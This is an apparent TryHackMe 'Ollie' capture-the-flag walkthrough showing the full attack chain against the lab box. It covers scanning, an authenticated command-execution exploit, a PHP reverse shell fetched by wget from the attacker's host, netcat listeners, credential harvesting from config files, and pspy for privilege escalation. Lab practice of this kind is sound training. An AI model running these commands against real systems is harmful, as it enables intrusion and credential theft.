> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/ollie.md). # Ollie **Room Link:** ## Initial Scan **Kali** 
nmap -A $VICTIM
## Scan all ports **Kali** 
nmap -sV -sT -O -p 1-65535 $VICTIM
## TCP/80 - HTTP **Kali** ``` gobuster dir -u $VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt ```
## TCP/1337 - waste **Kali** ``` nc -v $VICTIM 1337 ```
## TCP/80 - HTTP **Browser** ``` Username: admin Password: OllieUnixMontgomery! ```
## Initial Shell **Exploit:** **Kali** ``` python3 exploit.py -usr admin -pwd OllieUnixMontgomery! -cmd 'whoami' -url http://$VICTIM ```
We can run commands from the browser as well.
Got this php reverse shell, just changed the IP **Kali** ``` git clone https://github.com/pentestmonkey/php-reverse-shell cd php-reverse-shell subl php-reverse-shell.php python2 -m SimpleHTTPServer 81 ``` **Kali** ``` nc -lvnp 1234 ``` We have access to write to the immaolllieeboyyy directory so we put our shell there. **Browser** ``` wget http://$KALI:81/php-reverse-shell.php -O immaolllieeboyyy/test.php ``` **Browser** 
http://VICTIM:/immaolllieeboyyy/test.php
Get autocomplete ``` python3 -c 'import pty; pty.spawn("/bin/bash")' ctrl + Z stty raw -echo;fg ``` **Victim** ``` cd /var/www/html grep -ir "pass" config.php -A4 -B4 ```
We can login to mysql but didn't find anything **Victim** ``` mysql -uphpipam_ollie -pIamDah1337estHackerDog! ``` **Victim** ``` su ollie Password: OllieUnixMontgomery! ```
## PSPY **Kali** ``` wget http://$KALI:81/pspy32 chmod +x pspy32 ./pspy32 ``` **Victim** ``` cd /tmp/ wget http://10.10.231.159:81/pspy32 chmod +x pspy32 ./pspy32 find / -name "feedme" 2>/dev/null ```
## Privilege Escalation
**Kali** ``` nc -lvnp 1338 ```